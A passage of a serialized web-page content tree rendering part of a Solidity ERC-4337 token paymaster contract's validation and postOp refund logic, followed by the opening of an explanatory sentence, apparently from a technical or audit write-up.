",{"type":23,"tag":139,"props":101112,"children":101113},{"style":982},[101114],{"type":28,"value":6580},{"type":23,"tag":139,"props":101116,"children":101117},{"style":1016},[101118],{"type":28,"value":1019},{"type":23,"tag":139,"props":101120,"children":101121},{"style":982},[101122],{"type":28,"value":21717},{"type":23,"tag":139,"props":101124,"children":101125},{"style":259},[101126],{"type":28,"value":101079},{"type":23,"tag":139,"props":101128,"children":101129},{"style":982},[101130],{"type":28,"value":6580},{"type":23,"tag":139,"props":101132,"children":101133},{"style":1016},[101134],{"type":28,"value":101135}," 32",{"type":23,"tag":139,"props":101137,"children":101138},{"style":259},[101139],{"type":28,"value":1052},{"type":23,"tag":139,"props":101141,"children":101142},{"style":265},[101143],{"type":28,"value":101144},"\"TPM: invalid data length\"",{"type":23,"tag":139,"props":101146,"children":101147},{"style":259},[101148],{"type":28,"value":1820},{"type":23,"tag":139,"props":101150,"children":101151},{"class":141,"line":1597},[101152,101156,101161,101165,101170,101175],{"type":23,"tag":139,"props":101153,"children":101154},{"style":305},[101155],{"type":28,"value":101032},{"type":23,"tag":139,"props":101157,"children":101158},{"style":259},[101159],{"type":28,"value":101160}," maxFeePerGas ",{"type":23,"tag":139,"props":101162,"children":101163},{"style":982},[101164],{"type":28,"value":1067},{"type":23,"tag":139,"props":101166,"children":101167},{"style":259},[101168],{"type":28,"value":101169}," userOp.",{"type":23,"tag":139,"props":101171,"children":101172},{"style":245},[101173],{"type":28,"value":101174},"unpackMaxFeePerGas",{"type":23,"tag":139,"props":101176,"children":101177},{"style":259},[101178],{"type":28,"value":1656},{"type":23,"tag":139,"props":101180,"children":101181},{"class":141,"line":1614},[101182,101186,101191,101195],{"type":23,"tag":139,"props":101183,"children":101184},{"style":305},[101185],{"type":28,"value":101032},{"type":23,"tag":139,"props":101187,"children":101188},{"style":259},[101189],{"type":28,"value":101190}," refundPostopCost ",{"type":23,"tag":139,"props":101192,"children":101193},{"style":982},[101194],{"type":28,"value":1067},{"type":23,"tag":139,"props":101196,"children":101197},{"style":259},[101198],{"type":28,"value":101199}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":139,"props":101201,"children":101202},{"class":141,"line":1627},[101203,101207,101212,101216,101220,101225,101229,101234],{"type":23,"tag":139,"props":101204,"children":101205},{"style":319},[101206],{"type":28,"value":101105},{"type":23,"tag":139,"props":101208,"children":101209},{"style":259},[101210],{"type":28,"value":101211},"(refundPostopCost ",{"type":23,"tag":139,"props":101213,"children":101214},{"style":982},[101215],{"type":28,"value":3808},{"type":23,"tag":139,"props":101217,"children":101218},{"style":259},[101219],{"type":28,"value":101169},{"type":23,"tag":139,"props":101221,"children":101222},{"style":245},[101223],{"type":28,"value":101224},"unpackPostOpGasLimit",{"type":23,"tag":139,"props":101226,"children":101227},{"style":259},[101228],{"type":28,"value":16389},{"type":23,"tag":139,"props":101230,"children":101231},{"style":265},[101232],{"type":28,"value":101233},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":139,"props":101235,"children":101236},{"style":259},[101237],{"type":28,"value":1820},{"type":23,"tag":139,"props":101239,"children":101240},{"class":141,"line":1636},[101241,101245,101250,101254,101259,101263,101268,101272],{"type":23,"tag":139,"props":101242,"children":101243},{"style":305},[101244],{"type":28,"value":101032},{"type":23,"tag":139,"props":101246,"children":101247},{"style":259},[101248],{"type":28,"value":101249}," preChargeNative ",{"type":23,"tag":139,"props":101251,"children":101252},{"style":982},[101253],{"type":28,"value":1067},{"type":23,"tag":139,"props":101255,"children":101256},{"style":259},[101257],{"type":28,"value":101258}," requiredPreFund ",{"type":23,"tag":139,"props":101260,"children":101261},{"style":982},[101262],{"type":28,"value":2382},{"type":23,"tag":139,"props":101264,"children":101265},{"style":259},[101266],{"type":28,"value":101267}," (refundPostopCost ",{"type":23,"tag":139,"props":101269,"children":101270},{"style":982},[101271],{"type":28,"value":2573},{"type":23,"tag":139,"props":101273,"children":101274},{"style":259},[101275],{"type":28,"value":101276}," maxFeePerGas);\n",{"type":23,"tag":139,"props":101278,"children":101279},{"class":141,"line":1659},[101280,101285,101289],{"type":23,"tag":139,"props":101281,"children":101282},{"style":958},[101283],{"type":28,"value":101284},"            // ",{"type":23,"tag":139,"props":101286,"children":101287},{"style":279},[101288],{"type":28,"value":64660},{"type":23,"tag":139,"props":101290,"children":101291},{"style":958},[101292],{"type":28,"value":101293},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":139,"props":101295,"children":101296},{"class":141,"line":1667},[101297,101301,101306,101310,101315,101319,101324,101328],{"type":23,"tag":139,"props":101298,"children":101299},{"style":305},[101300],{"type":28,"value":101032},{"type":23,"tag":139,"props":101302,"children":101303},{"style":259},[101304],{"type":28,"value":101305}," cachedPriceWithMarkup ",{"type":23,"tag":139,"props":101307,"children":101308},{"style":982},[101309],{"type":28,"value":1067},{"type":23,"tag":139,"props":101311,"children":101312},{"style":259},[101313],{"type":28,"value":101314}," cachedPrice ",{"type":23,"tag":139,"props":101316,"children":101317},{"style":982},[101318],{"type":28,"value":2573},{"type":23,"tag":139,"props":101320,"children":101321},{"style":259},[101322],{"type":28,"value":101323}," DENOM ",{"type":23,"tag":139,"props":101325,"children":101326},{"style":982},[101327],{"type":28,"value":2583},{"type":23,"tag":139,"props":101329,"children":101330},{"style":259},[101331],{"type":28,"value":101332}," priceMarkup;\n",{"type":23,"tag":139,"props":101334,"children":101335},{"class":141,"line":1676},[101336,101340,101345,101349,101353],{"type":23,"tag":139,"props":101337,"children":101338},{"style":319},[101339],{"type":28,"value":56700},{"type":23,"tag":139,"props":101341,"children":101342},{"style":259},[101343],{"type":28,"value":101344}," (dataLength ",{"type":23,"tag":139,"props":101346,"children":101347},{"style":982},[101348],{"type":28,"value":6580},{"type":23,"tag":139,"props":101350,"children":101351},{"style":1016},[101352],{"type":28,"value":101135},{"type":23,"tag":139,"props":101354,"children":101355},{"style":259},[101356],{"type":28,"value":12815},{"type":23,"tag":139,"props":101358,"children":101359},{"class":141,"line":1745},[101360,101365,101370],{"type":23,"tag":139,"props":101361,"children":101362},{"style":305},[101363],{"type":28,"value":101364},"                uint256",{"type":23,"tag":139,"props":101366,"children":101367},{"style":259},[101368],{"type":28,"value":101369}," clientSuppliedPrice ",{"type":23,"tag":139,"props":101371,"children":101372},{"style":982},[101373],{"type":28,"value":12704},{"type":23,"tag":139,"props":101375,"children":101376},{"class":141,"line":1753},[101377,101382,101386,101390,101395,101399,101404,101408,101412],{"type":23,"tag":139,"props":101378,"children":101379},{"style":305},[101380],{"type":28,"value":101381},"                    uint256",{"type":23,"tag":139,"props":101383,"children":101384},{"style":259},[101385],{"type":28,"value":262},{"type":23,"tag":139,"props":101387,"children":101388},{"style":305},[101389],{"type":28,"value":100930},{"type":23,"tag":139,"props":101391,"children":101392},{"style":259},[101393],{"type":28,"value":101394},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":139,"props":101396,"children":101397},{"style":982},[101398],{"type":28,"value":2493},{"type":23,"tag":139,"props":101400,"children":101401},{"style":259},[101402],{"type":28,"value":101403},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":139,"props":101405,"children":101406},{"style":982},[101407],{"type":28,"value":2382},{"type":23,"tag":139,"props":101409,"children":101410},{"style":1016},[101411],{"type":28,"value":101135},{"type":23,"tag":139,"props":101413,"children":101414},{"style":259},[101415],{"type":28,"value":101416},"]));\n",{"type":23,"tag":139,"props":101418,"children":101419},{"class":141,"line":1783},[101420,101425,101430,101434],{"type":23,"tag":139,"props":101421,"children":101422},{"style":319},[101423],{"type":28,"value":101424},"                if",{"type":23,"tag":139,"props":101426,"children":101427},{"style":259},[101428],{"type":28,"value":101429}," (clientSuppliedPrice ",{"type":23,"tag":139,"props":101431,"children":101432},{"style":982},[101433],{"type":28,"value":3808},{"type":23,"tag":139,"props":101435,"children":101436},{"style":259},[101437],{"type":28,"value":101438}," cachedPriceWithMarkup) {\n",{"type":23,"tag":139,"props":101440,"children":101441},{"class":141,"line":1791},[101442,101447,101451],{"type":23,"tag":139,"props":101443,"children":101444},{"style":958},[101445],{"type":28,"value":101446},"                    // ",{"type":23,"tag":139,"props":101448,"children":101449},{"style":279},[101450],{"type":28,"value":64660},{"type":23,"tag":139,"props":101452,"children":101453},{"style":958},[101454],{"type":28,"value":101455},": smaller number means 'more native asset per token'\n",{"type":23,"tag":139,"props":101457,"children":101458},{"class":141,"line":1823},[101459,101464,101468],{"type":23,"tag":139,"props":101460,"children":101461},{"style":259},[101462],{"type":28,"value":101463},"                    cachedPriceWithMarkup ",{"type":23,"tag":139,"props":101465,"children":101466},{"style":982},[101467],{"type":28,"value":1067},{"type":23,"tag":139,"props":101469,"children":101470},{"style":259},[101471],{"type":28,"value":101472}," clientSuppliedPrice;\n",{"type":23,"tag":139,"props":101474,"children":101475},{"class":141,"line":1831},[101476],{"type":23,"tag":139,"props":101477,"children":101478},{"style":259},[101479],{"type":28,"value":68973},{"type":23,"tag":139,"props":101481,"children":101482},{"class":141,"line":1891},[101483],{"type":23,"tag":139,"props":101484,"children":101485},{"style":259},[101486],{"type":28,"value":56784},{"type":23,"tag":139,"props":101488,"children":101489},{"class":141,"line":7053},[101490,101494,101499,101503,101508],{"type":23,"tag":139,"props":101491,"children":101492},{"style":305},[101493],{"type":28,"value":101032},{"type":23,"tag":139,"props":101495,"children":101496},{"style":259},[101497],{"type":28,"value":101498}," tokenAmount ",{"type":23,"tag":139,"props":101500,"children":101501},{"style":982},[101502],{"type":28,"value":1067},{"type":23,"tag":139,"props":101504,"children":101505},{"style":245},[101506],{"type":28,"value":101507}," weiToToken",{"type":23,"tag":139,"props":101509,"children":101510},{"style":259},[101511],{"type":28,"value":101512},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":139,"props":101514,"children":101515},{"class":141,"line":7071},[101516,101521,101525],{"type":23,"tag":139,"props":101517,"children":101518},{"style":259},[101519],{"type":28,"value":101520},"            tokenAmount ",{"type":23,"tag":139,"props":101522,"children":101523},{"style":982},[101524],{"type":28,"value":66339},{"type":23,"tag":139,"props":101526,"children":101527},{"style":259},[101528],{"type":28,"value":101529}," baseFee;\n",{"type":23,"tag":139,"props":101531,"children":101532},{"class":141,"line":7116},[101533,101538,101543,101548,101552,101556,101560],{"type":23,"tag":139,"props":101534,"children":101535},{"style":259},[101536],{"type":28,"value":101537},"            SafeERC20.",{"type":23,"tag":139,"props":101539,"children":101540},{"style":245},[101541],{"type":28,"value":101542},"safeTransferFrom",{"type":23,"tag":139,"props":101544,"children":101545},{"style":259},[101546],{"type":28,"value":101547},"(token, userOp.sender, ",{"type":23,"tag":139,"props":101549,"children":101550},{"style":305},[101551],{"type":28,"value":30528},{"type":23,"tag":139,"props":101553,"children":101554},{"style":259},[101555],{"type":28,"value":262},{"type":23,"tag":139,"props":101557,"children":101558},{"style":279},[101559],{"type":28,"value":15706},{"type":23,"tag":139,"props":101561,"children":101562},{"style":259},[101563],{"type":28,"value":101564},"), tokenAmount);\n",{"type":23,"tag":139,"props":101566,"children":101567},{"class":141,"line":7222},[101568,101573,101577,101582,101586,101591],{"type":23,"tag":139,"props":101569,"children":101570},{"style":259},[101571],{"type":28,"value":101572},"            context ",{"type":23,"tag":139,"props":101574,"children":101575},{"style":982},[101576],{"type":28,"value":1067},{"type":23,"tag":139,"props":101578,"children":101579},{"style":279},[101580],{"type":28,"value":101581}," abi",{"type":23,"tag":139,"props":101583,"children":101584},{"style":259},[101585],{"type":28,"value":73},{"type":23,"tag":139,"props":101587,"children":101588},{"style":245},[101589],{"type":28,"value":101590},"encode",{"type":23,"tag":139,"props":101592,"children":101593},{"style":259},[101594],{"type":28,"value":101595},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":139,"props":101597,"children":101598},{"class":141,"line":21518},[101599,101604],{"type":23,"tag":139,"props":101600,"children":101601},{"style":259},[101602],{"type":28,"value":101603},"            validationResult ",{"type":23,"tag":139,"props":101605,"children":101606},{"style":982},[101607],{"type":28,"value":12704},{"type":23,"tag":139,"props":101609,"children":101610},{"class":141,"line":21553},[101611,101616,101620,101624,101628,101633,101638,101642,101647,101651],{"type":23,"tag":139,"props":101612,"children":101613},{"style":245},[101614],{"type":28,"value":101615},"                _packValidationData",{"type":23,"tag":139,"props":101617,"children":101618},{"style":259},[101619],{"type":28,"value":262},{"type":23,"tag":139,"props":101621,"children":101622},{"style":279},[101623],{"type":28,"value":6179},{"type":23,"tag":139,"props":101625,"children":101626},{"style":259},[101627],{"type":28,"value":1052},{"type":23,"tag":139,"props":101629,"children":101630},{"style":305},[101631],{"type":28,"value":101632},"uint48",{"type":23,"tag":139,"props":101634,"children":101635},{"style":259},[101636],{"type":28,"value":101637},"(cachedPriceTimestamp ",{"type":23,"tag":139,"props":101639,"children":101640},{"style":982},[101641],{"type":28,"value":2382},{"type":23,"tag":139,"props":101643,"children":101644},{"style":259},[101645],{"type":28,"value":101646}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":139,"props":101648,"children":101649},{"style":1016},[101650],{"type":28,"value":2021},{"type":23,"tag":139,"props":101652,"children":101653},{"style":259},[101654],{"type":28,"value":1820},{"type":23,"tag":139,"props":101656,"children":101657},{"class":141,"line":21561},[101658],{"type":23,"tag":139,"props":101659,"children":101660},{"style":259},[101661],{"type":28,"value":1326},{"type":23,"tag":139,"props":101663,"children":101664},{"class":141,"line":21569},[101665],{"type":23,"tag":139,"props":101666,"children":101667},{"style":259},[101668],{"type":28,"value":1335},{"type":23,"tag":139,"props":101670,"children":101671},{"class":141,"line":21578},[101672],{"type":23,"tag":139,"props":101673,"children":101674},{"style":259},[101675],{"type":28,"value":8327},{"type":23,"tag":139,"props":101677,"children":101678},{"class":141,"line":21620},[101679,101683,101688,101692,101697,101701,101705,101709,101713,101717,101721,101726,101730,101734,101739],{"type":23,"tag":139,"props":101680,"children":101681},{"style":279},[101682],{"type":28,"value":87735},{"type":23,"tag":139,"props":101684,"children":101685},{"style":245},[101686],{"type":28,"value":101687}," _postOp",{"type":23,"tag":139,"props":101689,"children":101690},{"style":259},[101691],{"type":28,"value":262},{"type":23,"tag":139,"props":101693,"children":101694},{"style":279},[101695],{"type":28,"value":101696},"PostOpMode",{"type":23,"tag":139,"props":101698,"children":101699},{"style":259},[101700],{"type":28,"value":1052},{"type":23,"tag":139,"props":101702,"children":101703},{"style":305},[101704],{"type":28,"value":81732},{"type":23,"tag":139,"props":101706,"children":101707},{"style":279},[101708],{"type":28,"value":100916},{"type":23,"tag":139,"props":101710,"children":101711},{"style":294},[101712],{"type":28,"value":74244},{"type":23,"tag":139,"props":101714,"children":101715},{"style":259},[101716],{"type":28,"value":1052},{"type":23,"tag":139,"props":101718,"children":101719},{"style":305},[101720],{"type":28,"value":44064},{"type":23,"tag":139,"props":101722,"children":101723},{"style":294},[101724],{"type":28,"value":101725}," actualGasCost",{"type":23,"tag":139,"props":101727,"children":101728},{"style":259},[101729],{"type":28,"value":1052},{"type":23,"tag":139,"props":101731,"children":101732},{"style":305},[101733],{"type":28,"value":44064},{"type":23,"tag":139,"props":101735,"children":101736},{"style":294},[101737],{"type":28,"value":101738}," actualUserOpFeePerGas",{"type":23,"tag":139,"props":101740,"children":101741},{"style":259},[101742],{"type":28,"value":273},{"type":23,"tag":139,"props":101744,"children":101745},{"class":141,"line":21653},[101746],{"type":23,"tag":139,"props":101747,"children":101748},{"style":279},[101749],{"type":28,"value":100955},{"type":23,"tag":139,"props":101751,"children":101752},{"class":141,"line":21661},[101753],{"type":23,"tag":139,"props":101754,"children":101755},{"style":279},[101756],{"type":28,"value":100963},{"type":23,"tag":139,"props":101758,"children":101759},{"class":141,"line":21669},[101760],{"type":23,"tag":139,"props":101761,"children":101762},{"style":259},[101763],{"type":28,"value":27209},{"type":23,"tag":139,"props":101765,"children":101766},{"class":141,"line":21678},[101767,101771],{"type":23,"tag":139,"props":101768,"children":101769},{"style":319},[101770],{"type":28,"value":101020},{"type":23,"tag":139,"props":101772,"children":101773},{"style":259},[101774],{"type":28,"value":1268},{"type":23,"tag":139,"props":101776,"children":101777},{"class":141,"line":21754},[101778,101782,101786,101790],{"type":23,"tag":139,"props":101779,"children":101780},{"style":305},[101781],{"type":28,"value":101032},{"type":23,"tag":139,"props":101783,"children":101784},{"style":259},[101785],{"type":28,"value":101037},{"type":23,"tag":139,"props":101787,"children":101788},{"style":982},[101789],{"type":28,"value":1067},{"type":23,"tag":139,"props":101791,"children":101792},{"style":259},[101793],{"type":28,"value":101046},{"type":23,"tag":139,"props":101795,"children":101796},{"class":141,"line":21787},[101797,101801,101805,101809],{"type":23,"tag":139,"props":101798,"children":101799},{"style":305},[101800],{"type":28,"value":101032},{"type":23,"tag":139,"props":101802,"children":101803},{"style":259},[101804],{"type":28,"value":101058},{"type":23,"tag":139,"props":101806,"children":101807},{"style":982},[101808],{"type":28,"value":1067},{"type":23,"tag":139,"props":101810,"children":101811},{"style":259},[101812],{"type":28,"value":101067},{"type":23,"tag":139,"props":101814,"children":101815},{"class":141,"line":21795},[101816,101821,101825,101830,101834,101839,101843,101847,101851,101856,101861,101865,101869,101873],{"type":23,"tag":139,"props":101817,"children":101818},{"style":259},[101819],{"type":28,"value":101820},"            (",{"type":23,"tag":139,"props":101822,"children":101823},{"style":305},[101824],{"type":28,"value":44064},{"type":23,"tag":139,"props":101826,"children":101827},{"style":259},[101828],{"type":28,"value":101829}," preCharge, ",{"type":23,"tag":139,"props":101831,"children":101832},{"style":305},[101833],{"type":28,"value":30528},{"type":23,"tag":139,"props":101835,"children":101836},{"style":259},[101837],{"type":28,"value":101838}," userOpSender) ",{"type":23,"tag":139,"props":101840,"children":101841},{"style":982},[101842],{"type":28,"value":1067},{"type":23,"tag":139,"props":101844,"children":101845},{"style":279},[101846],{"type":28,"value":101581},{"type":23,"tag":139,"props":101848,"children":101849},{"style":259},[101850],{"type":28,"value":73},{"type":23,"tag":139,"props":101852,"children":101853},{"style":245},[101854],{"type":28,"value":101855},"decode",{"type":23,"tag":139,"props":101857,"children":101858},{"style":259},[101859],{"type":28,"value":101860},"(context, (",{"type":23,"tag":139,"props":101862,"children":101863},{"style":305},[101864],{"type":28,"value":44064},{"type":23,"tag":139,"props":101866,"children":101867},{"style":259},[101868],{"type":28,"value":1052},{"type":23,"tag":139,"props":101870,"children":101871},{"style":305},[101872],{"type":28,"value":30528},{"type":23,"tag":139,"props":101874,"children":101875},{"style":259},[101876],{"type":28,"value":5226},{"type":23,"tag":139,"props":101878,"children":101879},{"class":141,"line":21803},[101880,101885,101890,101895],{"type":23,"tag":139,"props":101881,"children":101882},{"style":259},[101883],{"type":28,"value":101884},"            preCharge ",{"type":23,"tag":139,"props":101886,"children":101887},{"style":982},[101888],{"type":28,"value":101889},"-=",{"type":23,"tag":139,"props":101891,"children":101892},{"style":259},[101893],{"type":28,"value":101894}," baseFee; ",{"type":23,"tag":139,"props":101896,"children":101897},{"style":958},[101898],{"type":28,"value":101899},"// don't refund the base fee\n",{"type":23,"tag":139,"props":101901,"children":101902},{"class":141,"line":21840},[101903,101907,101912,101916,101921,101925,101929],{"type":23,"tag":139,"props":101904,"children":101905},{"style":305},[101906],{"type":28,"value":101032},{"type":23,"tag":139,"props":101908,"children":101909},{"style":259},[101910],{"type":28,"value":101911}," _cachedPrice ",{"type":23,"tag":139,"props":101913,"children":101914},{"style":982},[101915],{"type":28,"value":1067},{"type":23,"tag":139,"props":101917,"children":101918},{"style":245},[101919],{"type":28,"value":101920}," updateCachedPrice",{"type":23,"tag":139,"props":101922,"children":101923},{"style":259},[101924],{"type":28,"value":262},{"type":23,"tag":139,"props":101926,"children":101927},{"style":279},[101928],{"type":28,"value":6179},{"type":23,"tag":139,"props":101930,"children":101931},{"style":259},[101932],{"type":28,"value":1820},{"type":23,"tag":139,"props":101934,"children":101935},{"class":141,"line":21853},[101936,101940,101944],{"type":23,"tag":139,"props":101937,"children":101938},{"style":958},[101939],{"type":28,"value":101284},{"type":23,"tag":139,"props":101941,"children":101942},{"style":279},[101943],{"type":28,"value":64660},{"type":23,"tag":139,"props":101945,"children":101946},{"style":958},[101947],{"type":28,"value":101293},{"type":23,"tag":139,"props":101949,"children":101950},{"class":141,"line":21866},[101951,101955,101959,101963,101967,101971,101975,101979],{"type":23,"tag":139,"props":101952,"children":101953},{"style":305},[101954],{"type":28,"value":101032},{"type":23,"tag":139,"props":101956,"children":101957},{"style":259},[101958],{"type":28,"value":101305},{"type":23,"tag":139,"props":101960,"children":101961},{"style":982},[101962],{"type":28,"value":1067},{"type":23,"tag":139,"props":101964,"children":101965},{"style":259},[101966],{"type":28,"value":101911},{"type":23,"tag":139,"props":101968,"children":101969},{"style":982},[101970],{"type":28,"value":2573},{"type":23,"tag":139,"props":101972,"children":101973},{"style":259},[101974],{"type":28,"value":101323},{"type":23,"tag":139,"props":101976,"children":101977},{"style":982},[101978],{"type":28,"value":2583},{"type":23,"tag":139,"props":101980,"children":101981},{"style":259},[101982],{"type":28,"value":101332},{"type":23,"tag":139,"props":101984,"children":101985},{"class":141,"line":21879},[101986],{"type":23,"tag":139,"props":101987,"children":101988},{"style":958},[101989],{"type":28,"value":101990},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":139,"props":101992,"children":101993},{"class":141,"line":21933},[101994,101998,102003,102007,102012,102016,102021,102025],{"type":23,"tag":139,"props":101995,"children":101996},{"style":305},[101997],{"type":28,"value":101032},{"type":23,"tag":139,"props":101999,"children":102000},{"style":259},[102001],{"type":28,"value":102002}," actualChargeNative ",{"type":23,"tag":139,"props":102004,"children":102005},{"style":982},[102006],{"type":28,"value":1067},{"type":23,"tag":139,"props":102008,"children":102009},{"style":259},[102010],{"type":28,"value":102011}," actualGasCost ",{"type":23,"tag":139,"props":102013,"children":102014},{"style":982},[102015],{"type":28,"value":2382},{"type":23,"tag":139,"props":102017,"children":102018},{"style":259},[102019],{"type":28,"value":102020}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":139,"props":102022,"children":102023},{"style":982},[102024],{"type":28,"value":2573},{"type":23,"tag":139,"props":102026,"children":102027},{"style":259},[102028],{"type":28,"value":102029}," actualUserOpFeePerGas;\n",{"type":23,"tag":139,"props":102031,"children":102032},{"class":141,"line":21942},[102033,102037,102042,102046,102050],{"type":23,"tag":139,"props":102034,"children":102035},{"style":305},[102036],{"type":28,"value":101032},{"type":23,"tag":139,"props":102038,"children":102039},{"style":259},[102040],{"type":28,"value":102041}," actualTokenNeeded ",{"type":23,"tag":139,"props":102043,"children":102044},{"style":982},[102045],{"type":28,"value":1067},{"type":23,"tag":139,"props":102047,"children":102048},{"style":245},[102049],{"type":28,"value":101507},{"type":23,"tag":139,"props":102051,"children":102052},{"style":259},[102053],{"type":28,"value":102054},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":139,"props":102056,"children":102057},{"class":141,"line":30168},[102058,102062,102067,102071],{"type":23,"tag":139,"props":102059,"children":102060},{"style":319},[102061],{"type":28,"value":56700},{"type":23,"tag":139,"props":102063,"children":102064},{"style":259},[102065],{"type":28,"value":102066}," (preCharge ",{"type":23,"tag":139,"props":102068,"children":102069},{"style":982},[102070],{"type":28,"value":8471},{"type":23,"tag":139,"props":102072,"children":102073},{"style":259},[102074],{"type":28,"value":102075}," actualTokenNeeded) {\n",{"type":23,"tag":139,"props":102077,"children":102078},{"class":141,"line":30189},[102079],{"type":23,"tag":139,"props":102080,"children":102081},{"style":958},[102082],{"type":28,"value":102083},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":139,"props":102085,"children":102086},{"class":141,"line":78855},[102087,102092,102097,102102,102106],{"type":23,"tag":139,"props":102088,"children":102089},{"style":259},[102090],{"type":28,"value":102091},"                SafeERC20.",{"type":23,"tag":139,"props":102093,"children":102094},{"style":245},[102095],{"type":28,"value":102096},"safeTransfer",{"type":23,"tag":139,"props":102098,"children":102099},{"style":259},[102100],{"type":28,"value":102101},"(token, userOpSender, preCharge ",{"type":23,"tag":139,"props":102103,"children":102104},{"style":982},[102105],{"type":28,"value":2328},{"type":23,"tag":139,"props":102107,"children":102108},{"style":259},[102109],{"type":28,"value":102110}," actualTokenNeeded);\n",{"type":23,"tag":139,"props":102112,"children":102113},{"class":141,"line":78868},[102114,102118,102122,102126,102130,102134],{"type":23,"tag":139,"props":102115,"children":102116},{"style":259},[102117],{"type":28,"value":68496},{"type":23,"tag":139,"props":102119,"children":102120},{"style":319},[102121],{"type":28,"value":1293},{"type":23,"tag":139,"props":102123,"children":102124},{"style":319},[102125],{"type":28,"value":13799},{"type":23,"tag":139,"props":102127,"children":102128},{"style":259},[102129],{"type":28,"value":102066},{"type":23,"tag":139,"props":102131,"children":102132},{"style":982},[102133],{"type":28,"value":3808},{"type":23,"tag":139,"props":102135,"children":102136},{"style":259},[102137],{"type":28,"value":102075},{"type":23,"tag":139,"props":102139,"children":102140},{"class":141,"line":78876},[102141],{"type":23,"tag":139,"props":102142,"children":102143},{"style":958},[102144],{"type":28,"value":102145},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":139,"props":102147,"children":102148},{"class":141,"line":78884},[102149],{"type":23,"tag":139,"props":102150,"children":102151},{"style":958},[102152],{"type":28,"value":102153},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":139,"props":102155,"children":102156},{"class":141,"line":78892},[102157,102161,102165,102170,102174,102178,102182,102187,102191],{"type":23,"tag":139,"props":102158,"children":102159},{"style":259},[102160],{"type":28,"value":102091},{"type":23,"tag":139,"props":102162,"children":102163},{"style":245},[102164],{"type":28,"value":101542},{"type":23,"tag":139,"props":102166,"children":102167},{"style":259},[102168],{"type":28,"value":102169},"(token, userOpSender, ",{"type":23,"tag":139,"props":102171,"children":102172},{"style":305},[102173],{"type":28,"value":30528},{"type":23,"tag":139,"props":102175,"children":102176},{"style":259},[102177],{"type":28,"value":262},{"type":23,"tag":139,"props":102179,"children":102180},{"style":279},[102181],{"type":28,"value":15706},{"type":23,"tag":139,"props":102183,"children":102184},{"style":259},[102185],{"type":28,"value":102186},"), actualTokenNeeded ",{"type":23,"tag":139,"props":102188,"children":102189},{"style":982},[102190],{"type":28,"value":2328},{"type":23,"tag":139,"props":102192,"children":102193},{"style":259},[102194],{"type":28,"value":102195}," preCharge);\n",{"type":23,"tag":139,"props":102197,"children":102198},{"class":141,"line":78932},[102199],{"type":23,"tag":139,"props":102200,"children":102201},{"style":259},[102202],{"type":28,"value":56784},{"type":23,"tag":139,"props":102204,"children":102205},{"class":141,"line":78940},[102206],{"type":23,"tag":139,"props":102207,"children":102208},{"emptyLinePlaceholder":15},[102209],{"type":28,"value":184},{"type":23,"tag":139,"props":102211,"children":102212},{"class":141,"line":86127},[102213,102217,102222,102226,102230],{"type":23,"tag":139,"props":102214,"children":102215},{"style":319},[102216],{"type":28,"value":56700},{"type":23,"tag":139,"props":102218,"children":102219},{"style":259},[102220],{"type":28,"value":102221}," (baseFee ",{"type":23,"tag":139,"props":102223,"children":102224},{"style":982},[102225],{"type":28,"value":8471},{"type":23,"tag":139,"props":102227,"children":102228},{"style":1016},[102229],{"type":28,"value":1019},{"type":23,"tag":139,"props":102231,"children":102232},{"style":259},[102233],{"type":28,"value":12815},{"type":23,"tag":139,"props":102235,"children":102236},{"class":141,"line":86135},[102237,102241,102245],{"type":23,"tag":139,"props":102238,"children":102239},{"style":259},[102240],{"type":28,"value":102091},{"type":23,"tag":139,"props":102242,"children":102243},{"style":245},[102244],{"type":28,"value":102096},{"type":23,"tag":139,"props":102246,"children":102247},{"style":259},[102248],{"type":28,"value":102249},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":139,"props":102251,"children":102252},{"class":141,"line":99481},[102253],{"type":23,"tag":139,"props":102254,"children":102255},{"style":259},[102256],{"type":28,"value":56784},{"type":23,"tag":139,"props":102258,"children":102259},{"class":141,"line":99489},[102260],{"type":23,"tag":139,"props":102261,"children":102262},{"emptyLinePlaceholder":15},[102263],{"type":28,"value":184},{"type":23,"tag":139,"props":102265,"children":102266},{"class":141,"line":99497},[102267,102272,102277],{"type":23,"tag":139,"props":102268,"children":102269},{"style":319},[102270],{"type":28,"value":102271},"            emit",{"type":23,"tag":139,"props":102273,"children":102274},{"style":245},[102275],{"type":28,"value":102276}," UserOperationSponsored",{"type":23,"tag":139,"props":102278,"children":102279},{"style":259},[102280],{"type":28,"value":102281},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":139,"props":102283,"children":102284},{"class":141,"line":99505},[102285,102290],{"type":23,"tag":139,"props":102286,"children":102287},{"style":245},[102288],{"type":28,"value":102289},"            refillEntryPointDeposit",{"type":23,"tag":139,"props":102291,"children":102292},{"style":259},[102293],{"type":28,"value":102294},"(_cachedPrice);\n",{"type":23,"tag":139,"props":102296,"children":102297},{"class":141,"line":99533},[102298],{"type":23,"tag":139,"props":102299,"children":102300},{"style":259},[102301],{"type":28,"value":1326},{"type":23,"tag":139,"props":102303,"children":102305},{"class":141,"line":102304},67,[102306],{"type":23,"tag":139,"props":102307,"children":102308},{"style":259},[102309],{"type":28,"value":1335},{"type":23,"tag":139,"props":102311,"children":102313},{"class":141,"line":102312},68,[102314],{"type":23,"tag":139,"props":102315,"children":102316},{"style":259},[102317],{"type":28,"value":1897},{"type":23,"tag":24,"props":102319,"children":102320},{},[102321,102323,102329,102331,102336,102338,102344],{"type":28,"value":102322},"Looking at the code above, during ",{"type":23,"tag":135,"props":102324,"children":102326},{"className":102325},[],[102327],{"type":28,"value":102328},"validatePaymasterUserOp",{"type":28,"value":102330},", the paymaster attempts to charge a maximum prefund 